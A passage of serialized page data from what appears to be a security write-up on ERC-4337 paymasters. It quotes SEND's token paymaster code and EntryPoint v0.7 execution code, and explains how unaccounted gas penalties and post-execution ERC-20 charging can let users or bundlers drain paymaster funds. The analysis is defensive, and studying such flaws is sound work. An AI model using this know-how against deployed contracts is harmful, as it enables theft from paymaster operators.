(",{"type":23,"tag":41,"props":103676,"children":103677},{"style":94},[103678],{"type":28,"value":147},{"type":23,"tag":41,"props":103680,"children":103681},{"style":70},[103682],{"type":28,"value":970},{"type":23,"tag":41,"props":103684,"children":103685},{"style":94},[103686],{"type":28,"value":32634},{"type":23,"tag":41,"props":103688,"children":103689},{"style":70},[103690],{"type":28,"value":7222},{"type":23,"tag":41,"props":103692,"children":103693},{"class":43,"line":23781},[103694,103699,103704,103709],{"type":23,"tag":41,"props":103695,"children":103696},{"style":70},[103697],{"type":28,"value":103698},"            preCharge ",{"type":23,"tag":41,"props":103700,"children":103701},{"style":170},[103702],{"type":28,"value":103703},"-=",{"type":23,"tag":41,"props":103705,"children":103706},{"style":70},[103707],{"type":28,"value":103708}," baseFee; ",{"type":23,"tag":41,"props":103710,"children":103711},{"style":48},[103712],{"type":28,"value":103713},"// don't refund the base fee\n",{"type":23,"tag":41,"props":103715,"children":103716},{"class":43,"line":23818},[103717,103721,103726,103730,103735,103739,103743],{"type":23,"tag":41,"props":103718,"children":103719},{"style":94},[103720],{"type":28,"value":102846},{"type":23,"tag":41,"props":103722,"children":103723},{"style":70},[103724],{"type":28,"value":103725}," _cachedPrice ",{"type":23,"tag":41,"props":103727,"children":103728},{"style":170},[103729],{"type":28,"value":2381},{"type":23,"tag":41,"props":103731,"children":103732},{"style":114},[103733],{"type":28,"value":103734}," updateCachedPrice",{"type":23,"tag":41,"props":103736,"children":103737},{"style":70},[103738],{"type":28,"value":1737},{"type":23,"tag":41,"props":103740,"children":103741},{"style":64},[103742],{"type":28,"value":8174},{"type":23,"tag":41,"props":103744,"children":103745},{"style":70},[103746],{"type":28,"value":3825},{"type":23,"tag":41,"props":103748,"children":103749},{"class":43,"line":23831},[103750,103754,103758],{"type":23,"tag":41,"props":103751,"children":103752},{"style":48},[103753],{"type":28,"value":103098},{"type":23,"tag":41,"props":103755,"children":103756},{"style":64},[103757],{"type":28,"value":66754},{"type":23,"tag":41,"props":103759,"children":103760},{"style":48},[103761],{"type":28,"value":103107},{"type":23,"tag":41,"props":103763,"children":103764},{"class":43,"line":23844},[103765,103769,103773,103777,103781,103785,103789,103793],{"type":23,"tag":41,"props":103766,"children":103767},{"style":94},[103768],{"type":28,"value":102846},{"type":23,"tag":41,"props":103770,"children":103771},{"style":70},[103772],{"type":28,"value":103119},{"type":23,"tag":41,"props":103774,"children":103775},{"style":170},[103776],{"type":28,"value":2381},{"type":23,"tag":41,"props":103778,"children":103779},{"style":70},[103780],{"type":28,"value":103725},{"type":23,"tag":41,"props":103782,"children":103783},{"style":170},[103784],{"type":28,"value":377},{"type":23,"tag":41,"props":103786,"children":103787},{"style":70},[103788],{"type":28,"value":103137},{"type":23,"tag":41,"props":103790,"children":103791},{"style":170},[103792],{"type":28,"value":4579},{"type":23,"tag":41,"props":103794,"children":103795},{"style":70},[103796],{"type":28,"value":103146},{"type":23,"tag":41,"props":103798,"children":103799},{"class":43,"line":23857},[103800],{"type":23,"tag":41,"props":103801,"children":103802},{"style":48},[103803],{"type":28,"value":103804},"            // Refund tokens based on actual gas cost\n",{"type":23,"tag":41,"props":103806,"children":103807},{"class":43,"line":23911},[103808,103812,103817,103821,103826,103830,103835,103839],{"type":23,"tag":41,"props":103809,"children":103810},{"style":94},[103811],{"type":28,"value":102846},{"type":23,"tag":41,"props":103813,"children":103814},{"style":70},[103815],{"type":28,"value":103816}," actualChargeNative ",{"type":23,"tag":41,"props":103818,"children":103819},{"style":170},[103820],{"type":28,"value":2381},{"type":23,"tag":41,"props":103822,"children":103823},{"style":70},[103824],{"type":28,"value":103825}," actualGasCost ",{"type":23,"tag":41,"props":103827,"children":103828},{"style":170},[103829],{"type":28,"value":4383},{"type":23,"tag":41,"props":103831,"children":103832},{"style":70},[103833],{"type":28,"value":103834}," tokenPaymasterConfig.refundPostopCost ",{"type":23,"tag":41,"props":103836,"children":103837},{"style":170},[103838],{"type":28,"value":377},{"type":23,"tag":41,"props":103840,"children":103841},{"style":70},[103842],{"type":28,"value":103843}," actualUserOpFeePerGas;\n",{"type":23,"tag":41,"props":103845,"children":103846},{"class":43,"line":23920},[103847,103851,103856,103860,103864],{"type":23,"tag":41,"props":103848,"children":103849},{"style":94},[103850],{"type":28,"value":102846},{"type":23,"tag":41,"props":103852,"children":103853},{"style":70},[103854],{"type":28,"value":103855}," actualTokenNeeded ",{"type":23,"tag":41,"props":103857,"children":103858},{"style":170},[103859],{"type":28,"value":2381},{"type":23,"tag":41,"props":103861,"children":103862},{"style":114},[103863],{"type":28,"value":103321},{"type":23,"tag":41,"props":103865,"children":103866},{"style":70},[103867],{"type":28,"value":103868},"(actualChargeNative, cachedPriceWithMarkup);\n",{"type":23,"tag":41,"props":103870,"children":103871},{"class":43,"line":32275},[103872,103876,103881,103885],{"type":23,"tag":41,"props":103873,"children":103874},{"style":58},[103875],{"type":28,"value":58797},{"type":23,"tag":41,"props":103877,"children":103878},{"style":70},[103879],{"type":28,"value":103880}," (preCharge ",{"type":23,"tag":41,"props":103882,"children":103883},{"style":170},[103884],{"type":28,"value":1022},{"type":23,"tag":41,"props":103886,"children":103887},{"style":70},[103888],{"type":28,"value":103889}," actualTokenNeeded) {\n",{"type":23,"tag":41,"props":103891,"children":103892},{"class":43,"line":32296},[103893],{"type":23,"tag":41,"props":103894,"children":103895},{"style":48},[103896],{"type":28,"value":103897},"                // If initially provided token amount is greater than the actual amount needed, refund the difference\n",{"type":23,"tag":41,"props":103899,"children":103900},{"class":43,"line":80946},[103901,103906,103911,103916,103920],{"type":23,"tag":41,"props":103902,"children":103903},{"style":70},[103904],{"type":28,"value":103905},"                SafeERC20.",{"type":23,"tag":41,"props":103907,"children":103908},{"style":114},[103909],{"type":28,"value":103910},"safeTransfer",{"type":23,"tag":41,"props":103912,"children":103913},{"style":70},[103914],{"type":28,"value":103915},"(token, userOpSender, preCharge ",{"type":23,"tag":41,"props":103917,"children":103918},{"style":170},[103919],{"type":28,"value":4329},{"type":23,"tag":41,"props":103921,"children":103922},{"style":70},[103923],{"type":28,"value":103924}," actualTokenNeeded);\n",{"type":23,"tag":41,"props":103926,"children":103927},{"class":43,"line":80959},[103928,103932,103936,103940,103944,103948],{"type":23,"tag":41,"props":103929,"children":103930},{"style":70},[103931],{"type":28,"value":70589},{"type":23,"tag":41,"props":103933,"children":103934},{"style":58},[103935],{"type":28,"value":3315},{"type":23,"tag":41,"props":103937,"children":103938},{"style":58},[103939],{"type":28,"value":2536},{"type":23,"tag":41,"props":103941,"children":103942},{"style":70},[103943],{"type":28,"value":103880},{"type":23,"tag":41,"props":103945,"children":103946},{"style":170},[103947],{"type":28,"value":1012},{"type":23,"tag":41,"props":103949,"children":103950},{"style":70},[103951],{"type":28,"value":103889},{"type":23,"tag":41,"props":103953,"children":103954},{"class":43,"line":80967},[103955],{"type":23,"tag":41,"props":103956,"children":103957},{"style":48},[103958],{"type":28,"value":103959},"                // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n",{"type":23,"tag":41,"props":103961,"children":103962},{"class":43,"line":80975},[103963],{"type":23,"tag":41,"props":103964,"children":103965},{"style":48},[103966],{"type":28,"value":103967},"                // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n",{"type":23,"tag":41,"props":103969,"children":103970},{"class":43,"line":80983},[103971,103975,103979,103984,103988,103992,103996,104001,104005],{"type":23,"tag":41,"props":103972,"children":103973},{"style":70},[103974],{"type":28,"value":103905},{"type":23,"tag":41,"props":103976,"children":103977},{"style":114},[103978],{"type":28,"value":103356},{"type":23,"tag":41,"props":103980,"children":103981},{"style":70},[103982],{"type":28,"value":103983},"(token, userOpSender, ",{"type":23,"tag":41,"props":103985,"children":103986},{"style":94},[103987],{"type":28,"value":32634},{"type":23,"tag":41,"props":103989,"children":103990},{"style":70},[103991],{"type":28,"value":1737},{"type":23,"tag":41,"props":103993,"children":103994},{"style":64},[103995],{"type":28,"value":17680},{"type":23,"tag":41,"props":103997,"children":103998},{"style":70},[103999],{"type":28,"value":104000},"), actualTokenNeeded ",{"type":23,"tag":41,"props":104002,"children":104003},{"style":170},[104004],{"type":28,"value":4329},{"type":23,"tag":41,"props":104006,"children":104007},{"style":70},[104008],{"type":28,"value":104009}," preCharge);\n",{"type":23,"tag":41,"props":104011,"children":104012},{"class":43,"line":81023},[104013],{"type":23,"tag":41,"props":104014,"children":104015},{"style":70},[104016],{"type":28,"value":58881},{"type":23,"tag":41,"props":104018,"children":104019},{"class":43,"line":81031},[104020],{"type":23,"tag":41,"props":104021,"children":104022},{"emptyLinePlaceholder":18},[104023],{"type":28,"value":82},{"type":23,"tag":41,"props":104025,"children":104026},{"class":43,"line":88217},[104027,104031,104036,104040,104044],{"type":23,"tag":41,"props":104028,"children":104029},{"style":58},[104030],{"type":28,"value":58797},{"type":23,"tag":41,"props":104032,"children":104033},{"style":70},[104034],{"type":28,"value":104035}," (baseFee ",{"type":23,"tag":41,"props":104037,"children":104038},{"style":170},[104039],{"type":28,"value":1022},{"type":23,"tag":41,"props":104041,"children":104042},{"style":164},[104043],{"type":28,"value":392},{"type":23,"tag":41,"props":104045,"children":104046},{"style":70},[104047],{"type":28,"value":152},{"type":23,"tag":41,"props":104049,"children":104050},{"class":43,"line":88225},[104051,104055,104059],{"type":23,"tag":41,"props":104052,"children":104053},{"style":70},[104054],{"type":28,"value":103905},{"type":23,"tag":41,"props":104056,"children":104057},{"style":114},[104058],{"type":28,"value":103910},{"type":23,"tag":41,"props":104060,"children":104061},{"style":70},[104062],{"type":28,"value":104063},"(token, tokenPaymasterConfig.rewardsPool, baseFee);\n",{"type":23,"tag":41,"props":104065,"children":104066},{"class":43,"line":101295},[104067],{"type":23,"tag":41,"props":104068,"children":104069},{"style":70},[104070],{"type":28,"value":58881},{"type":23,"tag":41,"props":104072,"children":104073},{"class":43,"line":101303},[104074],{"type":23,"tag":41,"props":104075,"children":104076},{"emptyLinePlaceholder":18},[104077],{"type":28,"value":82},{"type":23,"tag":41,"props":104079,"children":104080},{"class":43,"line":101311},[104081,104086,104091],{"type":23,"tag":41,"props":104082,"children":104083},{"style":58},[104084],{"type":28,"value":104085},"            emit",{"type":23,"tag":41,"props":104087,"children":104088},{"style":114},[104089],{"type":28,"value":104090}," UserOperationSponsored",{"type":23,"tag":41,"props":104092,"children":104093},{"style":70},[104094],{"type":28,"value":104095},"(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n",{"type":23,"tag":41,"props":104097,"children":104098},{"class":43,"line":101319},[104099,104104],{"type":23,"tag":41,"props":104100,"children":104101},{"style":114},[104102],{"type":28,"value":104103},"            refillEntryPointDeposit",{"type":23,"tag":41,"props":104105,"children":104106},{"style":70},[104107],{"type":28,"value":104108},"(_cachedPrice);\n",{"type":23,"tag":41,"props":104110,"children":104111},{"class":43,"line":101347},[104112],{"type":23,"tag":41,"props":104113,"children":104114},{"style":70},[104115],{"type":28,"value":3347},{"type":23,"tag":41,"props":104117,"children":104119},{"class":43,"line":104118},67,[104120],{"type":23,"tag":41,"props":104121,"children":104122},{"style":70},[104123],{"type":28,"value":192},{"type":23,"tag":41,"props":104125,"children":104127},{"class":43,"line":104126},68,[104128],{"type":23,"tag":41,"props":104129,"children":104130},{"style":70},[104131],{"type":28,"value":201},{"type":23,"tag":24,"props":104133,"children":104134},{},[104135,104137,104143,104145,104150,104152,104158],{"type":28,"value":104136},"Looking at the code above, during ",{"type":23,"tag":37,"props":104138,"children":104140},{"className":104139},[],[104141],{"type":28,"value":104142},"validatePaymasterUserOp",{"type":28,"value":104144},", the paymaster attempts to charge a maximum prefund amount first. This prefund is calculated by taking the gas limit specified in the ",{"type":23,"tag":37,"props":104146,"children":104148},{"className":104147},[],[104149],{"type":28,"value":102201},{"type":28,"value":104151}," and applying a markup price to convert the native ETH cost into the equivalent ERC20-token value. Later in ",{"type":23,"tag":37,"props":104153,"children":104155},{"className":104154},[],[104156],{"type":28,"value":104157},"postOp",{"type":28,"value":104159},", the paymaster calculates the actual charge and refunds any excess from the prefund.",{"type":23,"tag":24,"props":104161,"children":104162},{},[104163,104165,104170,104172,104179],{"type":28,"value":104164},"However, there is a critical oversight: ",{"type":23,"tag":510,"props":104166,"children":104167},{},[104168],{"type":28,"value":104169},"the code does not account for gas penalties",{"type":28,"value":104171},". The actual gas charged to the paymaster includes not just the gas used, but also any ",{"type":23,"tag":458,"props":104173,"children":104176},{"href":104174,"rel":104175},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L726-L730",[462],[104177],{"type":28,"value":104178},"penalties incurred",{"type":28,"value":104180}," from differences between the execution gas limit and actual execution gas.",{"type":23,"tag":24,"props":104182,"children":104183},{},[104184],{"type":28,"value":104185},"This vulnerability can be exploited by malicious users who set an artificially high gas limit to trigger the penalty. When penalties are applied, the paymaster will be charged significantly more than expected, potentially draining its funds since these additional costs were not factored into the calculation.",{"type":23,"tag":24,"props":104187,"children":104188},{},[104189,104191,104196],{"type":28,"value":104190},"In fact, the bundler will be the one who receives the penalty paid by the paymaster. This means a bundler could submit their own ",{"type":23,"tag":37,"props":104192,"children":104194},{"className":104193},[],[104195],{"type":28,"value":101900},{"type":28,"value":104197}," to be executed by themselves and profit if the penalty they can extract from the paymaster exceeds their own gas costs paid to the paymaster. In SEND's case, fortunately, because they operate their own bundler, any penalties incurred flow back to their controlled bundler, creating a closed economic loop that mitigates this particular attack vector.",{"type":23,"tag":446,"props":104199,"children":104201},{"id":104200},"incorrect-erc-20-handling",[104202],{"type":23,"tag":510,"props":104203,"children":104204},{},[104205],{"type":28,"value":104206},"Incorrect ERC-20 Handling",{"type":23,"tag":24,"props":104208,"children":104209},{},[104210],{"type":28,"value":104211},"To improve user experience, some protocols introduced ERC-20 paymasters that allow users to pay transaction gas fees using ERC-20 tokens instead of native ETH (Just like what SEND did in the above code). The core concept is quite straightforward, the paymaster fronts the ETH gas costs to bundlers, then charges users an equivalent amount in ERC-20 tokens based on current market rates. However, implementing this token-to-ETH conversion and payment flow securely requires careful consideration.",{"type":23,"tag":24,"props":104213,"children":104214},{},[104215,104216,104221,104223,104228],{"type":28,"value":45291},{"type":23,"tag":37,"props":104217,"children":104219},{"className":104218},[],[104220],{"type":28,"value":101981},{"type":28,"value":104222}," flow above, we can see that paymasters have two key interaction points during a ",{"type":23,"tag":37,"props":104224,"children":104226},{"className":104225},[],[104227],{"type":28,"value":101900},{"type":28,"value":104229},"'s lifecycle:",{"type":23,"tag":5436,"props":104231,"children":104232},{},[104233,104243],{"type":23,"tag":421,"props":104234,"children":104235},{},[104236,104238],{"type":28,"value":104237},"During validation via ",{"type":23,"tag":37,"props":104239,"children":104241},{"className":104240},[],[104242],{"type":28,"value":102088},{"type":23,"tag":421,"props":104244,"children":104245},{},[104246,104248],{"type":28,"value":104247},"After execution via ",{"type":23,"tag":37,"props":104249,"children":104251},{"className":104250},[],[104252],{"type":28,"value":102099},{"type":23,"tag":24,"props":104254,"children":104255},{},[104256],{"type":28,"value":104257},"This dual-interaction model has led to two predominant patterns for handling ERC-20 payments in paymaster implementations:",{"type":23,"tag":546,"props":104259,"children":104261},{"id":104260},"_1-pre-payment-with-refund-pattern",[104262],{"type":28,"value":104263},"1. Pre-Payment with Refund Pattern",{"type":23,"tag":24,"props":104265,"children":104266},{},[104267,104269,104274,104276,104281,104283,104289,104290,104296,104298,104303,104305,104310,104312,104317],{"type":28,"value":104268},"In this model, the paymaster requires users to pre-pay the maximum possible gas cost in ERC-20 tokens during ",{"type":23,"tag":37,"props":104270,"children":104272},{"className":104271},[],[104273],{"type":28,"value":102088},{"type":28,"value":104275},". After execution completes, ",{"type":23,"tag":37,"props":104277,"children":104279},{"className":104278},[],[104280],{"type":28,"value":102099},{"type":28,"value":104282}," refunds any excess tokens based on actual gas consumed. This is analogous to how regular ETH gas payments work. Several protocols like ",{"type":23,"tag":37,"props":104284,"children":104286},{"className":104285},[],[104287],{"type":28,"value":104288},"SEND",{"type":28,"value":1361},{"type":23,"tag":37,"props":104291,"children":104293},{"className":104292},[],[104294],{"type":28,"value":104295},"Circle",{"type":28,"value":104297}," have implemented this approach. However, this pattern has one key disadvantage: users must first approve the paymaster to spend their ERC20 tokens before submitting any ",{"type":23,"tag":37,"props":104299,"children":104301},{"className":104300},[],[104302],{"type":28,"value":101929},{"type":28,"value":104304},". This additional setup step is required to ensure the paymaster can successfully deduct tokens ",{"type":23,"tag":510,"props":104306,"children":104307},{},[104308],{"type":28,"value":104309},"before",{"type":28,"value":104311}," execution (specifically during ",{"type":23,"tag":37,"props":104313,"children":104315},{"className":104314},[],[104316],{"type":28,"value":104142},{"type":28,"value":20729},{"type":23,"tag":546,"props":104319,"children":104321},{"id":104320},"_2-post-execution-charging-pattern",[104322],{"type":28,"value":104323},"2. Post-Execution Charging Pattern",{"type":23,"tag":24,"props":104325,"children":104326},{},[104327,104329,104334,104336,104341,104343,104348,104350,104355],{"type":28,"value":104328},"This alternative approach defers token collection until after execution. Instead of charging a prefund during ",{"type":23,"tag":37,"props":104330,"children":104332},{"className":104331},[],[104333],{"type":28,"value":102088},{"type":28,"value":104335},", the actual token payment is calculated and collected in ",{"type":23,"tag":37,"props":104337,"children":104339},{"className":104338},[],[104340],{"type":28,"value":102099},{"type":28,"value":104342}," based on the exact gas consumed. At first glance, this appears to be the most user-friendly pattern since users can bundle their token approval transaction within the same ",{"type":23,"tag":37,"props":104344,"children":104346},{"className":104345},[],[104347],{"type":28,"value":101900},{"type":28,"value":104349},", eliminating the need for a separate pre-approval transaction before submitting the ",{"type":23,"tag":37,"props":104351,"children":104353},{"className":104352},[],[104354],{"type":28,"value":102201},{"type":28,"value":104356},". This means users could interact with the paymaster without any prior setup.",{"type":23,"tag":24,"props":104358,"children":104359},{},[104360,104362,104367,104369,104375,104377,104383,104385,104390],{"type":28,"value":104361},"This approach used to work in ",{"type":23,"tag":37,"props":104363,"children":104365},{"className":104364},[],[104366],{"type":28,"value":101981},{"type":28,"value":104368}," version ",{"type":23,"tag":37,"props":104370,"children":104372},{"className":104371},[],[104373],{"type":28,"value":104374},"v0.6",{"type":28,"value":104376},", but the pattern no longer works in ",{"type":23,"tag":37,"props":104378,"children":104380},{"className":104379},[],[104381],{"type":28,"value":104382},"v0.7",{"type":28,"value":104384},". In fact, using this pattern can lead to loss of funds for the paymaster. Let's take a closer look at how ",{"type":23,"tag":37,"props":104386,"children":104388},{"className":104387},[],[104389],{"type":28,"value":104382},{"type":28,"value":104391}," handles the execution phase:",{"type":23,"tag":31,"props":104393,"children":104395},{"className":34,"code":104394,"language":16,"meta":7,"style":7},"    function _executeUserOp(\n        uint256 opIndex,\n        PackedUserOperation calldata userOp,\n        UserOpInfo memory opInfo\n    )\n    internal virtual\n    returns (uint256 collected) {\n    [...]\n        bool success;\n        {\n    [...]\n            if (methodSig == IAccountExecute.executeUserOp.selector) {\n                bytes memory executeUserOp = abi.encodeCall(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n                innerCall = abi.encodeCall(this.innerHandleOp, (executeUserOp, opInfo, context));\n            } else\n            {\n                innerCall = abi.encodeCall(this.innerHandleOp, (callData, opInfo, context));\n            }\n            assembly (\"memory-safe\") {\n                success := call(gas(), address(), 0, add(innerCall, 0x20), mload(innerCall), 0, 32)\n                collected := mload(0)\n            }\n            _restoreFreePtr(saveFreePtr);\n        }\n        if (!success) {\n    [...]\n            if (innerRevertCode == INNER_OUT_OF_GAS) {\n                // handleOps was called with gas limit too low. abort entire bundle.\n                // can only be caused by bundler (leaving not enough gas for inner call)\n                revert FailedOp(opIndex, \"AA95 out of gas\");\n            } else if (innerRevertCode == INNER_REVERT_LOW_PREFUND) {\n                // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n                uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n                uint256 actualGasCost = opInfo.prefund;\n                _emitPrefundTooLow(opInfo);\n                _emitUserOperationEvent(opInfo, false, actualGasCost, actualGas);\n                collected = actualGasCost;\n            } else {\n    [...]\n                collected = _postExecution(\n                    IPaymaster.PostOpMode.postOpReverted,\n                    opInfo,\n                    context,\n                    actualGas\n                );\n            }\n        }\n    }\n",[104396],{"type":23,"tag":37,"props":104397,"children":104398},{"__ignoreMap":7},[104399,104415,104431,104451,104468,104475,104488,104512,104520,104533,104540,104547,104568,104607,104644,104656,104663,104699,104706,104727,104816,104845,104852,104865,104872,104892,104899,104920,104928,104936,104963,104991,104999,105042,105062,105075,105097,105113,105128,105135,105155,105163,105171,105179,105187,105195,105202,105209],{"type":23,"tag":41,"props":104400,"children":104401},{"class":43,"line":44},[104402,104406,104411],{"type":23,"tag":41,"props":104403,"children":104404},{"style":64},[104405],{"type":28,"value":111},{"type":23,"tag":41,"props":104407,"children":104408},{"style":114},[104409],{"type":28,"value":104410}," _executeUserOp",{"type":23,"tag":41,"props":104412,"children":104413},{"style":70},[104414],{"type":28,"value":3461},{"type":23,"tag":41,"props":104416,"children":104417},{"class":43,"line":54},[104418,104422,104427],{"type":23,"tag":41,"props":104419,"children":104420},{"style":94},[104421],{"type":28,"value":307},{"type":23,"tag":41,"props":104423,"children":104424},{"style":858},[104425],{"type":28,"value":104426}," opIndex",{"type":23,"tag":41,"props":104428,"children":104429},{"style":70},[104430],{"type":28,"value":3506},{"type":23,"tag":41,"props":104432,"children":104433},{"class":43,"line":76},[104434,104439,104443,104447],{"type":23,"tag":41,"props":104435,"children":104436},{"style":64},[104437],{"type":28,"value":104438},"        PackedUserOperation",{"type":23,"tag":41,"props":104440,"children":104441},{"style":64},[104442],{"type":28,"value":102730},{"type":23,"tag":41,"props":104444,"children":104445},{"style":858},[104446],{"type":28,"value":102735},{"type":23,"tag":41,"props":104448,"children":104449},{"style":70},[104450],{"type":28,"value":3506},{"type":23,"tag":41,"props":104452,"children":104453},{"class":43,"line":85},[104454,104459,104463],{"type":23,"tag":41,"props":104455,"children":104456},{"style":64},[104457],{"type":28,"value":104458},"        UserOpInfo",{"type":23,"tag":41,"props":104460,"children":104461},{"style":64},[104462],{"type":28,"value":102798},{"type":23,"tag":41,"props":104464,"children":104465},{"style":858},[104466],{"type":28,"value":104467}," opInfo\n",{"type":23,"tag":41,"props":104469,"children":104470},{"class":43,"line":105},[104471],{"type":23,"tag":41,"props":104472,"children":104473},{"style":70},[104474],{"type":28,"value":23917},{"type":23,"tag":41,"props":104476,"children":104477},{"class":43,"line":155},[104478,104483],{"type":23,"tag":41,"props":104479,"children":104480},{"style":64},[104481],{"type":28,"value":104482},"    internal",{"type":23,"tag":41,"props":104484,"children":104485},{"style":64},[104486],{"type":28,"value":104487}," virtual\n",{"type":23,"tag":41,"props":104489,"children":104490},{"class":43,"line":186},[104491,104495,104499,104503,104508],{"type":23,"tag":41,"props":104492,"children":104493},{"style":58},[104494],{"type":28,"value":46502},{"type":23,"tag":41,"props":104496,"children":104497},{"style":70},[104498],{"type":28,"value":142},{"type":23,"tag":41,"props":104500,"children":104501},{"style":94},[104502],{"type":28,"value":147},{"type":23,"tag":41,"props":104504,"children":104505},{"style":858},[104506],{"type":28,"value":104507}," collected",{"type":23,"tag":41,"props":104509,"children":104510},{"style":70},[104511],{"type":28,"value":152},{"type":23,"tag":41,"props":104513,"children":104514},{"class":43,"line":195},[104515],{"type":23,"tag":41,"props":104516,"children":104517},{"style":70},[104518],{"type":28,"value":104519},"    [...]\n",{"type":23,"tag":41,"props":104521,"children":104522},{"class":43,"line":905},[104523,104528],{"type":23,"tag":41,"props":104524,"children":104525},{"style":94},[104526],{"type":28,"value":104527},"        bool",{"type":23,"tag":41,"props":104529,"children":104530},{"style":70},[104531],{"type":28,"value":104532}," success;\n",{"type":23,"tag":41,"props":104534,"children":104535},{"class":43,"line":922},[104536],{"type":23,"tag":41,"props":104537,"children":104538},{"style":70},[104539],{"type":28,"value":31653},{"type":23,"tag":41,"props":104541,"children":104542},{"class":43,"line":930},[104543],{"type":23,"tag":41,"props":104544,"children":104545},{"style":70},[104546],{"type":28,"value":104519},{"type":23,"tag":41,"props":104548,"children":104549},{"class":43,"line":939},[104550,104554,104559,104563],{"type":23,"tag":41,"props":104551,"children":104552},{"style":58},[104553],{"type":28,"value":58797},{"type":23,"tag":41,"props":104555,"children":104556},{"style":70},[104557],{"type":28,"value":104558}," (methodSig ",{"type":23,"tag":41,"props":104560,"children":104561},{"style":170},[104562],{"type":28,"value":387},{"type":23,"tag":41,"props":104564,"children":104565},{"style":70},[104566],{"type":28,"value":104567}," IAccountExecute.executeUserOp.selector) {\n",{"type":23,"tag":41,"props":104569,"children":104570},{"class":43,"line":947},[104571,104576,104580,104585,104589,104593,104597,104602],{"type":23,"tag":41,"props":104572,"children":104573},{"style":94},[104574],{"type":28,"value":104575},"                bytes",{"type":23,"tag":41,"props":104577,"children":104578},{"style":64},[104579],{"type":28,"value":102798},{"type":23,"tag":41,"props":104581,"children":104582},{"style":70},[104583],{"type":28,"value":104584}," executeUserOp ",{"type":23,"tag":41,"props":104586,"children":104587},{"style":170},[104588],{"type":28,"value":2381},{"type":23,"tag":41,"props":104590,"children":104591},{"style":64},[104592],{"type":28,"value":103395},{"type":23,"tag":41,"props":104594,"children":104595},{"style":70},[104596],{"type":28,"value":706},{"type":23,"tag":41,"props":104598,"children":104599},{"style":114},[104600],{"type":28,"value":104601},"encodeCall",{"type":23,"tag":41,"props":104603,"children":104604},{"style":70},[104605],{"type":28,"value":104606},"(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n",{"type":23,"tag":41,"props":104608,"children":104609},{"class":43,"line":985},[104610,104615,104619,104623,104627,104631,104635,104639],{"type":23,"tag":41,"props":104611,"children":104612},{"style":70},[104613],{"type":28,"value":104614},"                innerCall ",{"type":23,"tag":41,"props":104616,"children":104617},{"style":170},[104618],{"type":28,"value":2381},{"type":23,"tag":41,"props":104620,"children":104621},{"style":64},[104622],{"type":28,"value":103395},{"type":23,"tag":41,"props":104624,"children":104625},{"style":70},[104626],{"type":28,"value":706},{"type":23,"tag":41,"props":104628,"children":104629},{"style":114},[104630],{"type":28,"value":104601},{"type":23,"tag":41,"props":104632,"children":104633},{"style":70},[104634],{"type":28,"value":1737},{"type":23,"tag":41,"props":104636,"children":104637},{"style":64},[104638],{"type":28,"value":17680},{"type":23,"tag":41,"props":104640,"children":104641},{"style":70},[104642],{"type":28,"value":104643},".innerHandleOp, (executeUserOp, opInfo, context));\n",{"type":23,"tag":41,"props":104645,"children":104646},{"class":43,"line":1058},[104647,104651],{"type":23,"tag":41,"props":104648,"children":104649},{"style":70},[104650],{"type":28,"value":70589},{"type":23,"tag":41,"props":104652,"children":104653},{"style":58},[104654],{"type":28,"value":104655},"else\n",{"type":23,"tag":41,"props":104657,"children":104658},{"class":43,"line":1084},[104659],{"type":23,"tag":41,"props":104660,"children":104661},{"style":70},[104662],{"type":28,"value":31689},{"type":23,"tag":41,"props":104664,"children":104665},{"class":43,"line":1102},[104666,104670,104674,104678,104682,104686,104690,104694],{"type":23,"tag":41,"props":104667,"children":104668},{"style":70},[104669],{"type":28,"value":104614},{"type":23,"tag":41,"props":104671,"children":104672},{"style":170},[104673],{"type":28,"value":2381},{"type":23,"tag":41,"props":104675,"children":104676},{"style":64},[104677],{"type":28,"value":103395},{"type":23,"tag":41,"props":104679,"children":104680},{"style":70},[104681],{"type":28,"value":706},{"type":23,"tag":41,"props":104683,"children":104684},{"style":114},[104685],{"type":28,"value":104601},{"type":23,"tag":41,"props":104687,"children":104688},{"style":70},[104689],{"type":28,"value":1737},{"type":23,"tag":41,"props":104691,"children":104692},{"style":64},[104693],{"type":28,"value":17680},{"type":23,"tag":41,"props":104695,"children":104696},{"style":70},[104697],{"type":28,"value":104698},".innerHandleOp, (callData, opInfo, context));\n",{"type":23,"tag":41,"props":104700,"children":104701},{"class":43,"line":1110},[104702],{"type":23,"tag":41,"props":104703,"children":104704},{"style":70},[104705],{"type":28,"value":58881},{"type":23,"tag":41,"props":104707,"children":104708},{"class":43,"line":1118},[104709,104714,104718,104723],{"type":23,"tag":41,"props":104710,"children":104711},{"style":114},[104712],{"type":28,"value":104713},"            assembly",{"type":23,"tag":41,"props":104715,"children":104716},{"style":70},[104717],{"type":28,"value":142},{"type":23,"tag":41,"props":104719,"children":104720},{"style":735},[104721],{"type":28,"value":104722},"\"memory-safe\"",{"type":23,"tag":41,"props":104724,"children":104725},{"style":70},[104726],{"type":28,"value":152},{"type":23,"tag":41,"props":104728,"children":104729},{"class":43,"line":1137},[104730,104735,104739,104743,104747,104752,104756,104760,104764,104768,104772,104776,104781,104786,104790,104795,104800,104804,104808,104812],{"type":23,"tag":41,"props":104731,"children":104732},{"style":70},[104733],{"type":28,"value":104734},"                success ",{"type":23,"tag":41,"props":104736,"children":104737},{"style":170},[104738],{"type":28,"value":21593},{"type":23,"tag":41,"props":104740,"children":104741},{"style":114},[104742],{"type":28,"value":40953},{"type":23,"tag":41,"props":104744,"children":104745},{"style":70},[104746],{"type":28,"value":1737},{"type":23,"tag":41,"props":104748,"children":104749},{"style":114},[104750],{"type":28,"value":104751},"gas",{"type":23,"tag":41,"props":104753,"children":104754},{"style":70},[104755],{"type":28,"value":18363},{"type":23,"tag":41,"props":104757,"children":104758},{"style":94},[104759],{"type":28,"value":32634},{"type":23,"tag":41,"props":104761,"children":104762},{"style":70},[104763],{"type":28,"value":18363},{"type":23,"tag":41,"props":104765,"children":104766},{"style":164},[104767],{"type":28,"value":4024},{"type":23,"tag":41,"props":104769,"children":104770},{"style":70},[104771],{"type":28,"value":970},{"type":23,"tag":41,"props":104773,"children":104774},{"style":114},[104775],{"type":28,"value":9636},{"type":23,"tag":41,"props":104777,"children":104778},{"style":70},[104779],{"type":28,"valu